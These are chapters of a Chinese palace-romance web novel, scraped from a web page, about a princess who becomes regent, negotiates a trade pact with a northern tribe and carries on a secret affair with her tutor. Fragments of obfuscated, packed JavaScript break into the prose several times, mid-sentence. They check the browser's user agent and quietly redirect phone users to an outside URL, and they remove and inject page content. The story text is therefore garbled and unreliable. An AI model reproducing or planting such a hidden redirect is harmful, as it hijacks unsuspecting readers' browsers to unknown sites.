RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347567|199544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骆淮正坐在齐国公府的水榭中央。 她穿着月白底的襦裙,发髻上的蝴蝶步摇熠熠生辉,伸手执笔蘸墨,在宣纸上落下一行行诗句后,方才搁笔。 身旁几位贵女悄悄瞟见她的动作,执笔的手皆是一抖。 这位殿下不请自来,本就让满园闺秀心惊胆战了。 如今……她又亲自下场作诗! 竟还作得这么快! 这之后的评定魁首,究竟是定她,还是不定? 骆淮不知她们心里在想什么,老神在在地眺望远方。 今日这诗会,本是齐国公府三小姐陈婉所办。 陈婉与她的手帕交缪之云素来不和,此次特意下帖邀缪之云,大约是存心要她难堪。 “……她不过因那日在云锦阁,我将她看中的那匹浮光锦全买下了,便这般记恨!” 缪之云递了帖子进宫,刚走进长乐宫暖阁,就扯着骆淮的袖子急急道,“明知我诗才平平,偏要办什么诗会羞辱我!” “殿下,您可得为我撑腰。” 骆淮听闻后还有些茫然。 距离骆灵均出事已经好几天了,这几日她忙于侍疾、谋划,思考陆俨亭到底会不会带小孩,带得水平如何,都忘记了……公主的本职工作。 当然就是—— 花天酒地,穿衣打扮,还有…… 仗着自己天潢贵胄金枝玉叶的身份,帮好友撑腰打脸。 和缪之云结交说来也巧,当年骆灵均还是太子时,宫中为太子选妃,缪之云也在其列,最终却未入选。 却没想到缪之云在宫中小住的那段时间,同骆淮脾性相投,如此两人成了挚友。 “那些料子,大半我都送给殿下了呢。”缪之云眨眨眼,“所以殿下今日定要来,就当陪我了。” 骆淮在请示过太后和皇后以后,便换了衣裳出宫。 长公主驾临,满园皆惊。 陈婉硬着头皮上前迎接,骆淮只微微一笑。 “孤虽未接帖子,但闻此处诗会热闹,便不请自来了。陈三小姐不会见怪吧?” 陈婉哪敢说个不字,连声道:“……殿下光临,蓬荜生辉。” 骆淮又道:“本宫随陆少傅习诗书一年有余,今日既来了,也想试一试。便用缪小姐的名额,如何?” 陈婉脸色微白,却也只能应下。 于是骆淮便一首接一首地写。 她本就聪颖,又在陆俨亭身边耳濡目染,不过片刻,便已作了三四首。 最后,魁首之名也毫无悬念地奉予了她。 茶歇间隙,骆淮与缪之云在廊下小坐。 “殿下,您也太厉害了吧?”联想到方才陈婉和她的几个小姐妹面面相觑的模样,缪之云刚将讨好的话开了个头,便听见另一头假山处传来细细的议论声。 “……阿婉,你别不开心了。缪之云当初兴冲冲去选太子妃,没选上,她都不丢人,你这算什么?不过一次没拿到魁首而已。” “是啊是啊。何况长公主殿下……虽然才华出众,可我听说……” 有人压低声音,“陛下要让她去和亲呢。说真的,都十九了还未出降,陛下就是打这个主意吧?” 缪之云对有关自己的议论未有太大反应,随后听她们竟胆大包天说到骆淮的头上,气得脸色发白,就要起身。 骆淮按住了她的手,正欲扬声让她们知道有人在此处,却听园门处一阵骚动。 一道颀长身影径直朝这里走来。 陆俨亭身着那身熟悉的绯色官服,步履从容,腰间香囊在他动作之间隐隐绰绰,身后是匆匆跟过来的齐国公世子。 他目不斜视地走到骆淮面前,躬身一揖: “臣冒昧打扰,望殿下恕罪。” 骆淮看着他:“出了什么大事,陆先生居然找到这儿寻我?” 陆俨亭抬眸,语调平和: “方才内阁急议,群臣联名上疏,提请长公主殿下暂摄监国之职。” “臣奉旨,请殿下即刻回宫。” 8. 监国 马车在青石长街上缓缓前行,车帘微微晃动。 骆淮斜靠在车厢内厚厚的锦垫上,紫檀小几对面是神情宁静的陆俨亭。 “殿下倒是好兴致。”陆俨亭开口道,“还有闲情逸致参加诗会。” “怎么,哪条律例规定我不能参加?” 想了想,骆淮又笑盈盈地拍手道,“拿了魁首,陆少傅面上不是也有光?毕竟——” “我的书画诗赋,都是你一手教的。” 她拉长声音,刻意提醒他。 “面上有光?”陆俨亭唇角微弯,慢条斯理道,“没想到在殿下心里,臣竟是如此容易满足的人。” 骆淮听出他的意思,不想回答,侧头看向窗外。 她临走时,瞥见缪之云望过来的眼神……似乎有些微妙? 虽然方才陆俨亭走进齐国公府花园时,园中并无太大波澜。本朝男女大防本就不严,加之陆俨亭此人年少成名,二十四岁官至少傅,在那些十五六岁的闺秀眼中,怕是已属“长辈”之列。 但缪之云素来敏锐,怕不会已经觉察到了什么吧? 骆淮默默按了按额角,觉得自己也许之后应当在她质问上门来之前主动交代。 时间过得飞快,她与他的这段关系竟已持续这么久了! 骆淮转回视线,对上陆俨亭的眼睛。那双眸子清冷如旧,此刻目光却紧紧锁着她,无言胜过千言。 骆淮下意识移开视线。 马车里静了下来。 这种静默让她觉得有些异样。 自那夜雪中争执后,两人之间似乎总隔着一层什么。 以往私下相见,不过一注香的工夫,不是她蹭到他身边,便是他将她揽进怀里。现在两人即使同乘一车,却隔着尺余距离,泾渭分明。 不过……本来就是他先嘲笑她的! 她生气,也是情理之中嘛。 虽然他之后的确仍然听从她的话照办了。 骆淮轻咳一声,找了个话头:“乌勒在你那儿如何?” 陆俨亭抬了抬眼皮:“还好,乐不思蜀。倒是鸿胪寺驿馆的那些人,这几日考虑的事就多了。” 他语气平淡,将这几日的事娓娓道来。 那夜乌勒送到陆府后,陆俨亭便暗中加派了人手,将北戎使团“热情周到”地保护在驿馆之中。 使臣无法外出,也无法探听外间消息,更不知世子下落。 他们心急如焚,既担心皇帝真有个万一,他们这些人要背谋害大周天子的黑锅,也恐惧世子的突然失踪。 僵持两日后,陆俨亭亲赴驿馆安抚。 他面上忧心忡忡,对使臣道:“朝廷已有人疑心北戎,道陛下之疾来得蹊跷。本官正在极力压服,力主是意外。” 私下里却让人不慎透露,朝廷已然知晓北戎世子未报备便跟随使团入京,疑心失踪是伺机作乱。 如此两面说辞,他们自然慌乱不已。 于是陆俨亭抛出早已备好的方案——促成两国互市。 “为今之计,需立一功,以抵失踪之过。若此时能促成互市,便是两国功臣。” 北戎对大周的茶叶需求量巨大,这也是大君试图求娶公主的原因,为了获得稳定的茶叶来源。 但如果,不需要和亲,也可以通过互市,获得茶叶呢? 比起送去一个还不知能否得到宠爱的汉人公主,这个举措,或许更能维护两国之间的往来。 使臣犹豫许久,还是修书禀明大君,在信中详陈利弊的同时,万般无奈之下还是提及了世子失踪之事。 消息八百里加急传回北戎王庭,世子的母妃,那位最得宠的阏氏闻讯立刻慌了神。 她膝下只此一子,平日爱若珍宝,此刻又急又怒,夜夜在大君枕边垂泪,埋怨大君没看顾好孩儿,让玩心重的世子偷偷混进使团…… 大君年事已高,被爱妃哭得头疼,又被互市之利说动,索性顺水推舟,回信中只字未提和亲,只道“愿开互市,永结盟好”。 “但互市建交、条款商定,皆需一国之君出面主理。现陛下’身体不适’的消息也渐渐传开,太子又空缺,于是臣今日在内阁提议,请殿下作为现今最年长的皇室成员,暂行监国之权,以决此紧急邦交事务。” 理由光明正大,无人可驳——骆淮在马车里听着,起初还抿着唇,后来忍不住笑出声来。 这确是他们那夜商议过的方向,但陆俨亭动作如此之快是她没料到的。 这才短短几日而已,软禁使团,转移矛盾,说服北戎,借互市顺势将她推上监国之位……都做完了。 她不得不佩服他的手腕。 两人目光相触,她心尖忽然一动。 恰在此时,马车轧过一处坑洼,猛地颠簸一阵。 骆淮借此机会,故意惊呼一声,身子一歪径直朝陆俨亭怀中滚去。 陆俨亭一惊,下意识将她接住定在怀里。 熟悉的百合香气瞬间将他笼罩。他下颌抵着她的发顶,另一只手扣在她腰间,掌心透过月白色的襦裙,能感受到她腰肢的柔软纤细。 骆淮仰起脸,唇几乎擦过他的下巴。 四目相对,呼吸交缠。 陆俨亭眸光暗了暗,低头吻了下去,先是带着点猝不及防的急切,随即渐渐加深。 吻了好一会儿,骆淮有些喘不过气,轻轻推他。 陆俨亭稍稍退开,唇仍贴着她,低哑道:“殿下不喜欢?” 恰恰相反,可能是太喜欢了,所以不能再亲了。 骆淮镇定道:“马上要进宫了……” 说出的话语虽冷硬,但她语调轻柔,唇边带笑,这几日来的吵闹在此刻消弭。 陆俨亭于是没松手,反而将她又搂紧些,“再抱一会儿。” 他的呼吸拂在她耳畔,温热酥痒。骆淮安静偎在他怀中,抬起眼目光无意识地掠过他面容,突然觉察到些异样。 她从他怀里坐起来,皱着眉头仔细逡巡他的脸。 青年右眼眼角下方,有一道极淡的白色疤痕,约半寸长,隐在肤色里,若不细看,几乎难以察觉。 她缓缓地用指尖拂过那道痕迹。 “你这里的疤是怎么回事?” 陆俨亭:“什么疤?没注意过。” 语气里带着真切的疑惑。 “就这个啊。”骆淮挨得更近了些,与他几乎鼻尖相触,“你低下头。” 他静默片刻,依言俯身。 骆淮再次细细抚过他的眉头。 这段时间她满心都是别的事,确实没分太多精力留意他的脸,但印象里他离京前还没有的。 “是去南疆时弄的?”她问。 “大概。”陆俨亭平了平呼吸,语气仍是淡淡的,“可能是流箭擦过吧。” “这样啊……怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347568|199544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么写信时都不提一句?” 她当初逼他去了以后要给她写信,他嘴上不肯答应,最后还是写了。 每旬一封,悄无声息地递进宫。 虽然那些信里写的……大部分是枯燥的策论题目、经义注解,偶尔提两句南疆风物。便真被人截获,大约也只会叹一句陆少傅远在千里仍心系学生课业。 陆俨亭喉头滚动了一下,两个人实在离得太近。 “……又不是什么大事。” * 马车驶入宫门,在紫宸殿前停下。 骆淮整理好衣襟发髻,与陆俨亭一同下车时,又是那位端庄持重的长公主了。 殿内气氛肃穆,太后坐在上首,神情平稳,但只有熟悉她的人如骆淮能看出来,她在强打精神。 下首则站着内阁五位阁老、六部尚书,以及几位宗室亲王,见骆淮进来,众人目光齐集。 陆俨亭上前一步,躬身禀道:“臣已将长公主殿下请回。” 骆淮一步步地来到满目朱紫中央,阁臣们垂眼低眸,声音却整齐:“臣等联名上疏,请长公主殿下暂摄监国之职,以定国是。” 其余人随之躬身:“请殿下监国!” 声音在殿内回荡,庄重而肃然。 太后轻叹一声,看向骆淮:“长宁,皇帝病重,国事不可一日无主。你……便勉为其难吧。” 皇后立在一旁,面色忧心忡忡。 骆淮静立片刻,缓缓屈膝行了一礼。 “儿臣……遵旨。” 如此便是过了明路。 礼成,骆淮让众臣先行退去,自己则去了后殿探望皇兄。 皇帝骆灵均躺在龙榻上,双目紧闭,呼吸平稳,面色却苍白如纸。 太医署几位院判轮流守在榻前,见骆淮进来,忙起身行礼。 骆淮摆摆手,走到榻边坐下,只静静看着兄长这般毫无声息地躺着。 疑惑地发现:她心里似乎没有太多悲伤。 她其实是个冷漠的人,这么多天,也没有彻查骆灵均昏迷真正的病因。 但单是看到太医们面色不虞,用词也支支吾吾的,她便了然了。 其实不问也清楚,他们最初使用的那些词汇,什么邪热攻心、肝肾亏虚…… 虽然委婉,明眼人一看便知是享乐过度所致。 皇兄啊皇兄,大约在父皇在位时活得战战兢兢,现在登基了就拼命补偿自己,登基不过两年,便已沉溺享乐。 南疆叛乱时他惊慌失措,北戎来使时他只想送出妹妹换取喘息。陆俨亭在前朝为他稳着局面,他在后宫听曲赏舞。 但明明,这些事都是可以解决的。 骆淮起身,朝龙榻郑重拜了三拜。 哥哥,你要不然就……一辈子都别醒了吧? * 回到紫宸殿前殿,御案上已堆起了今日的奏疏。 骆淮在宽大的龙椅旁设了张稍小的书案,为表对兄长的尊重,她监国时便暂且坐在此处。 她在案前坐下,伸手取过最上面的一本奏折。 展开后嘴角便是一抽。 奏折是御史台递上来的,洋洋洒洒数百言,核心则是最开头的那句: “陛下昏迷,朝野忧心,然太子少傅陆俨亭竟有闲情带自家幼龄表弟同游西市,招摇过市,有失大臣体统,不堪表率……” 骆淮:“……” 9. 纸鸢 骆淮对着那行字反复看了三遍,确认自己没看错。 真没想到。 监国后看的第一份奏疏,竟是弹劾陆俨亭的。 至于内容。 她又仔细读了遍这个署名为祝陵的人呈上的文字,端的是引经据典文采斐然,从《礼记》讲到本朝初年发行的《臣僚仪范》,又提及先帝时期某位因行为失检被贬的官员旧事…… 结尾,义正严辞、痛心疾首。 “为臣者当夙夜在公,岂可耽于嬉游?” 骆淮强压着笑意,陆俨亭带孩子还真是尽心尽责啊? 她本以为他最多只是挑一个精通北戎语的下属,陪同乌勒。 骆淮开始克制不住地想象陆俨亭冷着一张脸,带着那小世子在熙攘的西市穿行,无可奈何地被糖人摊、胡饼铺、杂耍班子团团包围的模样…… “殿下在笑什么?” 清淡的声音自殿门处传来。 骆淮吓了一跳,见陆俨亭不知何时去而复返,立在阶下,含笑望着她。 “没什么。”骆淮随手将奏折放到一边,“你怎么又回来了?” “今日与北戎商定的互市条款草本……有几个细节,需要来找殿下再核一遍。” 陆俨亭缓步上前,视线却状似探究地扫过她方才合上的那本折子。 “你看什么?”骆淮下意识地一挡,将它压在另一本文书下。 那个人毕竟在向她告状,她不能因为她和陆俨亭私下里有点身体上的关系,就透露给他。 陆俨亭身体一僵。 他原本没别的想法,只是看见她笑得那般开心才问了句,她却躲得如此之快。 不过,虽未看清内容,但字迹留给他的印象却很鲜明。 工整端方,排列整齐,一笔一画皆透着严谨,在满案或狂放或潦草的笔迹中,显得格外赏心悦目。 他眸色深了深。 骆淮已将互市条款递给他,随口问道:“乌勒在你那儿如何了?” “还好。”陆俨亭接过文书,语气平淡,“住在我城西的别院里,每日好吃好喝,甜糕管够,今日还闹着要去东市看斗鸡。” 想了想,他又不经意地补充道:“倒是总问……何时能再见殿下。” “哦?”骆淮倒是有些哭笑不得,“我当时在长乐宫说的那番话,几乎能算得上威逼利诱坑蒙拐骗了,却没想到……那孩子竟然还挺受用?” 陆俨亭垂着眼:“是殿下心善,为他讲明了利害。” 他没说乌勒的原话。 这个北戎小畜生,昨日见他过来,眨巴着眼睛,用这几日学到的生硬的汉话脆生生问:“陆大人,公主阿姐……什么时候来?” 这才几日,连阿姐都叫上了。 虽然他是个小孩,但这几日观察下来,这孩子似乎没他表现出来得那么简单。 要不是他对殿下的确没什么恶意…… 陆俨亭面上没什么变化,只问道:“明日与北戎使臣签约定盟,殿下需要我带他过来吗?” 骆淮闻言,眼睛弯了弯:“自然。” 明日签约,她会让乌勒作为北戎世子正式露面,也算给北戎一个交代。 陆俨亭离开后,骆淮看着他的背影出了会神。 短短几日内权力格局已变,但朝野上下均无甚异议,又在今日午后议事时,如此迅捷地完成了条款初稿。 都是他力主推行而成。 她坐在了这个位置上,突然有点明白了她皇兄当初不允许她同他成婚的想法。 作为臣属,他的确非常出色。 不过好在她现在也不需要成婚了。 她微笑起来,陆修延啊陆修延。 如果他能一直这样听她的话…… 他本就是以太子少傅入阁预机务,又是陆家未来的家主,朝堂世家系于他一身。 那便再多几项又有何妨? 她看中的人,就是应当如此。 白日里为她筹谋治国要事,做她的肱骨之臣;夜里做她的恋人,为她红袖添香。 * 翌日,太极殿。 辰时初刻,长公主骆淮身着朝服,头戴九翟冠,端坐于御座之侧的监国位上。 丹陛之下,文武百官肃然而立。 北戎使臣一行十余人,自殿外缓步而入。 为首的正使拓跋律年约四十,面庞黝黑,鹰目深鼻,此刻虽强作镇定,眼底却难掩焦灼。 他已在驿馆困了数日,外间消息不通,世子下落不明,简直度日如年。今日被请来签约,心中更是七上八下。 礼官唱喏,互市条款一一宣读。 拓跋律听着一时有些无言,这些条款比预期苛刻许多,但世子失踪,大君震怒,他哪里还有讨价还价的底气? 正心神不宁间,忽听侧殿珠帘轻响。 一个穿着北戎服饰的少年蹦跳着跑了出来,直扑向监国位上的骆淮。 “公主阿姐!” 乌勒笑得眉眼弯弯,毫不避讳地蹭到骆淮身侧,仰着脸叽里咕噜说了一串北戎话。 满殿皆惊。 拓跋律瞪大眼睛,看着活蹦乱跳的世子,先是狂喜,随即电光石火间明白了什么。 什么世子失踪、皇帝昏迷、软禁驿馆……全是局。 说不定周朝皇帝……根本没有昏迷!都是诓他们的! 不过是请君入瓮而已! 他心下震撼于周朝皇帝的心机之深,为了不把妹妹送给他们北戎,居然想到……以身入局! 整个使团都成了局中的棋子! 乌勒却浑然不觉,只欢欢喜喜地拉着骆淮的袖子:“阿姐,你说签完约带我去吃那个……那个会转的糖画!” 骆淮含笑点头,拍了拍他的手,示意他站好。 她看向拓跋:“拓跋正使,世子顽皮,流入民间,昨日在集市上恰被我朝官员看见。因已至深夜,恐贵使担忧,未及时告知,本宫接他入宫,暂且留在身边照看。如今完好归还,正使可放心了?” 看着世子明显已被这位长公主笼络了去,拓跋律沉默了半晌,低头道:“多谢……长公主殿下照料。” 还能说什么? 即使知道这话根本站不住脚,但说话人就是笃定他们拿不出证据。 更何况,世子年幼好奇,本就是自己偷跑出来的,长公主好心收留,如今平安送还……他若敢有半句怨言,便是忘恩负义。 签约仪式继续进行。 乌勒作为北戎世子,在条款上按下手印。他做这些时,不时扭头看向骆淮,见她点头才继续,依赖之态,一目了然。 殿中众臣皆交换着眼色,见此情状也将这些事摸得七七八八,一时间心下复杂,又惊又喜且怖。 惊的是这一桩桩一件件环环相扣,竟然就真的达成了且没有纰漏,喜的是长公主殿下看来也并非传言中的那样单纯不晓世事,应当能够担得起监国重任。 怖的则是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347569|199544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如若陛下身体一直不适下去,他们岂非……要日日面对这样的长公主? * 签约礼成,已是午时。 骆淮亲送北戎使团至宫门外。乌勒扒着车辕,眼巴巴望着她,忽然用北戎语小声说:“阿姐,我以后还能来大周找你吗?” 骆淮笑着点头,示意宫人抬上一只红木大箱。 箱盖打开,里头满满当当,全是各色点心:云片糕、玫瑰酥、核桃酪、蜜饯果子……甚至还有两罐宫里特制的抹茶糖。 乌勒眼睛亮了,扑过来抱了抱她,才依依不舍地登车。 扬起的唇角在无人处缓缓压下。 他九岁了,又在北戎王廷长大,成日面对的都是族人不怀好意的打探和年长的哥哥们的虎视眈眈,该知道的东西只多不少。 他清楚骆淮收留他,让人带他玩耍,并非单纯的好意。 但他还是照单全收了,只因为这也是他想要促成的。 他是故意跟过来的,得知父君想要求娶大周公主以后。 母妃膝下只他一子,如那位公主生下更为幼小的孩子,他和母妃都将地位不保,陷入万劫不复之地。 他要混在接亲的队伍里,等他这位娇滴滴的庶母坐上前往远方的马车,然后伺机…… 可惜,计划赶不上变化。 云片糕太香了; 他慌不择路来到的地方,竟然就是大周公主的住处; 她的笑容那么甜美。 …… 乌勒的脸上再次浮现出稚气天真的笑容,他探出身子,又同远处的骆淮招了招手,才放下了幕帘。 车队渐行渐远,消失在长街尽头。 骆淮立在宫门下望着漫天流云。 一月前,她还只是个困于婚嫁之事的公主。如今,却已站在这里,执掌国政,定盟邦交。 今年除夕来得格外晚,正月才过,春风便已拂面。远处天际有几只纸鸢高高飘着,彩翼在晴空下摇曳生姿。 骆淮于是想起很多年前,她八岁时放飞的那只纸鸢。 她那时还没有被母后收养,只是个不被父皇重视、不闻不问的公主,住在某个废旧的宫室偏殿一隅,身边只有几个老迈的教养嬷嬷,终日忙于打牌。 那天她溜到太液池边放纸鸢,秋高气爽,纸鸢飞得极高,却在一个刹那突然断了线,晃晃悠悠栽进了池子中央。 骆淮急了,顾不得池水冰冷,提着裙子就往里趟,却没想到…… 纸鸢没捞着,捞出了一个人。 骆淮不意池水里有人,惊叫了一声,就感觉自己的手被抓住了。 溺水的人没轻没重,抓得她太紧,险些就要把她带进水更深处。 最终她还是磕磕绊绊地把他捞了上来。 是一个少年。 骆淮愣了片刻,见到他穿着青灰色的衣袍,浑身湿透,黑发贴在苍白的脸上,嘴唇冻得发紫。 “你是皇子所的伴读?”骆淮好奇问,她虽然年纪小,但宫里的大事还是知道的。前阵子,父皇下令为出阁读书的皇子挑选伴读,她皇兄也在内。 说起来,皇兄忙于学业,已经好久没来看她了。 “是。”那少年低声说,“陆俨亭多谢公主殿下。” 显然他也猜出了她的身份。 “姓陆?”骆淮蹙眉,“你是陆家人?当朝太子太师是你何人?” “……正是家父。” 骆淮着实吃了一惊。 10. 探花郎和公主 陆家的人居然能沦落到如此境地。 骆淮打量着面前的少年,他身形纤瘦,嘴唇抿着,湿发遮住了大半眉眼,瞧不太出容貌,岂止一个狼狈二字可言。 “你……”她讷讷说,“是有人推你下去的吗?” 陆俨亭闻言朝她看过来,沉默许久后喉咙里低低发出一个“嗯”。 骆淮还没来得及说话,远处便传来了散漫的嬉笑声。 “陆俨亭那小子,不知现在怎样了?” “该!给他点教训,功课那么好,衬得咱们像草包似的……” “就是,父皇今日查问功课又夸他了,他到底懂不懂事?” “也不能真闹出人命……”又有一个声音犹豫道:“咱们去瞧瞧,捞上来算了。” 说话声夹杂着脚步声由远及近,骆淮想都没想就一把拽住陆俨亭的手腕,“走!” 他比她高不了多少,又浑身无力,竟被她轻易拖了起来。两人踉踉跄跄,沿着池边园林树木的阴影,深一脚浅一脚地往后头跑,一直到她住的那块地方才停脚。 嬷嬷们果然还是不见踪影,骆淮翻出自己干净的旧衣给他换上,又热情地倒了杯热茶塞进他手里。 少年呆呆地看着她,一时还没回过神来。 “……”骆淮蹲在他面前,歪着头看他,“还不该谢谢我?若是被他们瞧见你被我捞上来,指不定又想出什么法子折腾你呢。” 这么说着,她心里也是喟然。 怪不得。 这宫里头能堂而皇之把当朝一品大员之子推下水的,当然便是皇子所里的那群天潢贵胄了。 她有些惊讶。 自小在宫里长大,她空有公主名分却无公主待遇,与那些受宠的皇子皇女相比当然是判若云泥。她没有同龄玩伴,同胞兄长骆灵均有自己的养母,为免母妃不喜,只能按规矩,一旬来见她一次。 与她更为熟悉的,反倒是一些小宫女小太监。 从他们窃窃私语的议论中,她听过太多为争宠使出的阴损伎俩。推人落水、裁赃陷害、借刀杀人……诸如此类。 骆淮一直以为,这些只会发生在后宫妃嫔之间。 但原来,前朝也一样? 那些高高在上的皇兄们,背地里不过如此。 骆淮在心里生出几分轻视,若她能有读书习字的机会,定然抓紧每寸光阴,哪会成日钻研这些坏点子,对功课好的同窗生记恨。 幸好幸好,方才那些声音里没有骆灵均的。 “深秋的池水可冷了。”她见他握着杯子不喝,眼看着热气都要散掉了,好心提醒了句,“你快喝了,身上能暖和些。” 陆俨亭犹豫片刻,终于还是一饮而尽。 骆淮不明白他为何喝完之后一副古怪的表情,像是喝了什么毒药一样。 她一直喝这个的呀! 莫不是冻傻了? 这个疑惑在很久以后,她被皇后收养搬出此地,才慢慢解开。某日她喝着上好的日铸雪芽,突然福至心灵,意识到陆俨亭当时没喝…… 一定是嫌弃她给他的茶叶太差! 气死她了。 她下次见面便气鼓鼓地指出这一点,陆俨亭一边笑一边向她致歉。 他已不再是当初瘦弱狼狈的少年,光阴似箭,他的个子渐渐抽条,肩背挺阔,与此同时,他的才名渐显,年纪轻轻便金榜题名,高中探花,风头无两。 他不再需要与皇子们一同进学,相反,那些开始办差接触朝政的皇子们,竟渐渐反过来要拉拢他。 他总是噙着温和的笑意,即使是对当初那几个把他推下水的人。 辇车缓缓驶过长街,骆淮靠在软垫上一边望着窗外的皇城之景,一边感慨现在的陆俨亭,与当时的他可真是判若两人。 十几岁的陆俨亭,是比兄长还要兄长的存在。虽然初遇是她救了他,但在之后的那些年里,大部分时间都是他在照顾她。 偷偷地给她塞银子,偷偷教她认字,又担心她冬天炭火不够,买通侍卫给她送来上好的炭,还在她决定给自己谋条出路,寻找一位能收养自己的位高妃嫔时,出谋划策。 做这些事的时候也从来不别扭,相当坦然,还会温柔地笑,会在她胡闹时无可奈何地摇头。 这么一对比,她开始怀念起当时的他来。 可真是光风霁月的少年郎。 不过—— “算了。” 骆淮又不得不承认,他如今这副越发阴沉寡言,嘴上还不饶人的样子,大概、可能、也许…… 和她脱不了关系。 心里却莫名生出一丝得意。 是她把他变成这样的。 长乐宫近在眼前,骆淮下了车。 今日办成互市大事,她只觉身心舒畅,正是午睡的好时辰。 步伐轻快地踏进宫门,却见雪芽迎上来,一副欲言又止的模样。 “怎么了?”骆淮心情甚好,随口问道。 雪芽踌躇片刻,小声道:“殿下,陆大人方才遣人来……” 骆淮这才想起,今日一整日都没见到陆俨亭,签约仪式那样重要的场合,他也未露面。 大约是去忙互市后续的政务了,新设茶马司,厘定茶叶与马匹的兑换比例,核查边境榷场选址……千头万绪,都需要他来操心执行。 真是尽心尽力。 骆淮眼里浮起一丝赞许,声音都柔和起来:“他说什么了?” “……”雪芽见公主这样,声音更小了,“陆大人说……殿下既已监国,责任愈重,更要勤学不辍。因此今日下午的课业照旧,请殿下未时三刻,准时前往漱玉斋。” 骆淮脸上的笑容瞬间僵住。 岂有此理! * 陆俨亭踏入内室的时候,第一眼就看到了侧躺在窗下贵妃榻上的人。 面朝里,盖着一床锦被,呼吸均匀,似是睡熟了。 他脚步丝毫未停,闲庭信步般走至榻边,被子没盖严实,露出一截白皙的后颈和浅杏色的寝衣,乌发自顾自地散在枕畔。 他随意地在她身边坐下,低头静静看了好一会儿,喉头一滚,终于还是伸手没进锦被。 指尖隔着布料轻缓地拂过少女的脊背,动作带着熟悉刻意的侵扰。 从肩胛一路向下,一寸一寸地抚过,直至腰际。 掌下的身躯被迫颤了颤。 陆俨亭眸色深深,指尖不停,反而变本加厉,顺着腰线滑向侧腹,又缓缓上移,回到肩颈处。 室内温暖,她身着的这件寝衣料子又极薄。 他弯起嘴唇,感受着其下肌肤的温热和长公主殿下逐渐绷紧的线条。 骆淮终于装不下去了。 她猛地翻身坐起,锦被滑落,扭头不轻不重地横了他一眼。 “你干什么?”她刻意一字一顿,“光天化日,擅闯后宫,成何体统。” 陆俨亭收回手,神色自若:“臣等了许久都不见殿下来上课,只好自己过来请了。” 骆淮微笑:“我问你怎么进来的。” 没她许可,侧门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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是人就不能成日里读那些经史传记,当然要劳逸结合。她素来都是两类换着读,却没想到新到的这本内容相当符合她口味,她情不自禁看了许久,看完便随手夹进了正经书里。 之后她便彻底忘了这茬。 陆俨亭失笑,弯腰拾起那册话本,掉落时书页刚好翻至扉页。 他只是随意扫了一眼,目光便不动了。 “……探花郎沈澈,年方弱冠,貌若潘安,才高八斗。琼林宴上,惊鸿一瞥,与本朝嘉丽公主结缘。此后多番私会,被翻红浪,互许终身……” 骆淮木着脸听他居然把其上的内容梗概一一念了出来,念到香.艳处也毫不避讳,声音清朗悦耳,与他平时正经讲学也没什么差别。 他在床榻上如若开口……其实也是这副死样子。 清冷淡薄,道貌岸然。 听他已停了下来,骆淮抱起手臂,斜睨着他:“念啊,怎么不继续念了?” “探花郎,和公主?” 陆俨亭把话本倏地一合,随手抛在枕边,欺身又坐近了些。 骆淮下意识往后一仰,却被他扣住后腰带了回来。 他的黑眸慢条斯理地将她由上至下看了一遍,随后似有若无一勾薄唇。 “原来殿下平日里爱看的……也是这个。” 11. 空山灵雨 “这你也要大惊小怪?”骆淮掀了掀眼皮,对着他的下颔线,“不过是千百种戏文里的一种罢了。满京城的话本子,十个里有八个写的是探花郎和公主。” 扣着她腰的手紧了紧。 “是这样吗。” 陆俨亭听罢,若有所思地应了声,“抱歉,臣于此这方面涉猎不多,在殿下面前贻笑大方了。” 他一旦开始用“臣”自称,她就知道,这人又生闷气了。 难理解! 换了别人见情郎这般模样,或许会软声哄上一哄,但她是骆淮。 从来只有别人捧着她们骆家人,没有反过来顺毛的道理。 反正……他之后也会自己消气的。 她眸光一转,模仿着他的语气,意味不明地啊了一声。 “陆修延……” 他身子僵硬了一下。 “你莫非以为,我看这个时,想的是你?” 她闷笑了声,转头埋进他胸口,“我若是想你,直接找你就是了,还需要对着这些纸片子胡思乱想?” 发丝轻轻蹭过他的脖颈,陆俨亭感觉她笑得肩膀都在抖动。 “哦,对了,这本我都看完了。” 旋即她又轻描淡写道,“近日太忙,没来得及看新的。你既发现了,明日便去书肆,替我买几本新的回来。” “要这个作者写的,这人字迹工整,剧情也精彩。” “……” 陆俨亭看着她。 叹了口气。 自己方才起的那点逗弄的心思……似乎有些多余? 他的殿下,从来不知道羞臊二字怎么写。 此刻,少女双眼明亮,虽脸颊泛着未褪去的红晕,但这副全然理直气壮的模样,和当年她拿到那把名叫金缕衣的名筝时并没什么不同。 